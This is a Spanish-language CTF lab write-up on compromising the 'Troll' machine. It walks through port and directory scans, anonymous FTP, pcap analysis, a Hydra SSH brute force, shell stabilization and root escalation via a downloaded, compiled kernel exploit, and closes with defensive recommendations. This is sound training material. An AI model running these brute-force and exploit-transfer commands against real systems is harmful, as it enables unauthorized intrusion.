**Informe de Análisis de Máquina CTF: Troll**

**Fecha:** 06/07/2023

**Analista:** Msc. Angel Paz

**Resumen**

El presente informe documenta los resultados del análisis de la máquina CTF llamada Troll. Se realizaron diversas actividades de escaneo y análisis para evaluar los servicios y sistemas en ejecución en dicha máquina. A continuación, se detallan los resultados obtenidos.

1. **Escaneo de Puertos**

Se ejecutó un escaneo de puertos utilizando la herramienta Nmap. Los resultados obtenidos son los siguientes:

Puerto 21/tcp: Abierto, servicio FTP, versión vsftpd 3.0.2.

Puerto 22/tcp: Abierto, servicio SSH, versión OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.

Puerto 80/tcp: Abierto, servicio HTTP, servidor Apache httpd 2.4.7.

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Escaneo de Directorios con Gobuster**

Se realizó un escaneo de directorios utilizando la herramienta Gobuster. Los resultados obtenidos son los siguientes:

* /index.html: Estado 200, tamaño de respuesta 36 bytes.
* /secret: Estado 301, redireccionamiento a http://192.168.20.27/secret/.
* /server-status: Estado 403, acceso prohibido, tamaño de respuesta 293 bytes.
* /robots.txt: Estado 200, tamaño de respuesta 31 bytes.

No se encontró ninguna información de valor, solo se identificaron imágenes que no proporcionaron ninguna pista adicional.

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt***

1. **Resultado de Búsqueda en FTP**

Se accedió al servicio FTP con las credenciales de acceso anónimas. Durante la búsqueda en el FTP, se encontró un archivo llamado lol.pcap, que contiene capturas de tráfico de red.

***Comandos:***

* ***ftp <IP> nombre: anonymous password:***

1. **Análisis del Archivo lol.pcap con Wireshark**

Se procedió a analizar el archivo pcap utilizando la herramienta Wireshark. Durante el análisis, se encontró un paquete que contiene un mensaje que sugiere la existencia de un directorio secreto llamado "sup3rs3cr3tdirlol".

***Comandos:***

* ***wireshark lol.pcap***

1. **Análisis del Directorio sup3rs3cr3tdirlol**

Encontramos un archivo llamado **roflmao** el cual descargamos y según vimos es un ejecutable por el cual dimos permisos de ejecución y al ejecutarlo obtuvimos: **Find address 0x0856BF to proceed**

***Comandos:***

* ***chmod +x roflmao***
* ***./roflmao***

Se exploró el directorio 0x0856BF y se encontraron dos carpetas:

* Carpeta "good\_luck": Contiene un archivo llamado "which\_one\_lol.txt" con posibles nombres de usuarios.
* Carpeta "this\_folder\_content\_passwords": Contiene un archivo llamado "Pass.txt" con una contraseña: "Good\_job\_:)"

***Comandos:***

* ***wget*** [***http://192.168.2.102/0x0856BF/good\_luck/which\_one\_lol.txt***](http://192.168.2.102/0x0856BF/good_luck/which_one_lol.txt)
* ***wget http://192.168.2.102/0x0856BF/this\_folder\_contains\_the\_password/Pass.txt***

1. **Fuerza Bruta con Hydra a SSH**

Se realizó un intento de fuerza bruta utilizando la herramienta Hydra y las credenciales obtenidas. Sin embargo, se descubrió que la contraseña en sí era el nombre del archivo "Pass.txt". Para solucionar esto, se procedió a borrar el contenido del archivo o utilizar las comillas y la opción "-p" en el comando Hydra.

El resultado del intento de fuerza bruta fue el siguiente:

host: 192.168.20.27 login: overflow password: Pass.txt

***Comandos:***

* ***hydra -L which\_one\_lol.txt -p "Pass.txt" ssh://<IP>-V***

1. **Acceso a la Maquina Troll**

Accedimos mediante ssh con las credenciales del anterior paso

***Comandos:***

* ***ssh overflow@<IP>***

Realizamos Tambien el tratamiento a la Shell

***Comandos:***

***which python***

***python -c 'import pty; pty.spawn("/bin/bash")'***

***export TERM=xterm***

***export SHELL=bash***

***stty rows 28 columns 148***

1. **Escalada de Privilegios a Root:**

Se identificó la versión del sistema operativo con el comando "uname -a": "Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux". Se encontró un exploit compatible con esta versión y se descargó desde el enlace Exploit 37292. El exploit fue transferido a la máquina virtual y compilado con el comando "gcc 37292.c -o app". Posteriormente, se ejecutó el exploit con "./app", lo que permitió la escalada de privilegios a root en la máquina Troll.

***Comandos:***

* ***uname -a***
* ***python -m http.server 80***
* ***wget http://<ip>:80/nombre\_archivo***
* ***gcc archive.c -o nombre\_archivo***
* ***chmod +x***
* ***./nombre\_archivo***

**Conclusiones:**

Durante la explotación de la máquina CTF Troll, se llevaron a cabo diversas actividades, incluyendo el análisis de puertos, búsqueda de directorios, análisis de archivos pcap, tratamiento de la shell y escalada de privilegios a root. Estas acciones permitieron obtener información relevante y acceder a niveles más altos de privilegios en el sistema. Es importante destacar que todas las actividades fueron realizadas con fines educativos y legales, obteniendo el permiso adecuado para llevar a cabo estas pruebas.

**Recomendaciones:**

* Mantener actualizados los sistemas operativos y aplicaciones para evitar posibles vulnerabilidades.
* Implementar políticas de contraseñas fuertes y realizar cambios periódicos de las mismas.
* Realizar pruebas de penetración y evaluaciones de seguridad de forma regular para identificar y solucionar posibles debilidades en el sistema.
* Este informe detalla las actividades realizadas durante la explotación de la máquina CTF Troll. Se destaca la importancia de llevar a cabo estas pruebas con el consentimiento y permisos necesarios, y se enfatiza la necesidad de utilizar estos conocimientos para fines éticos y legales.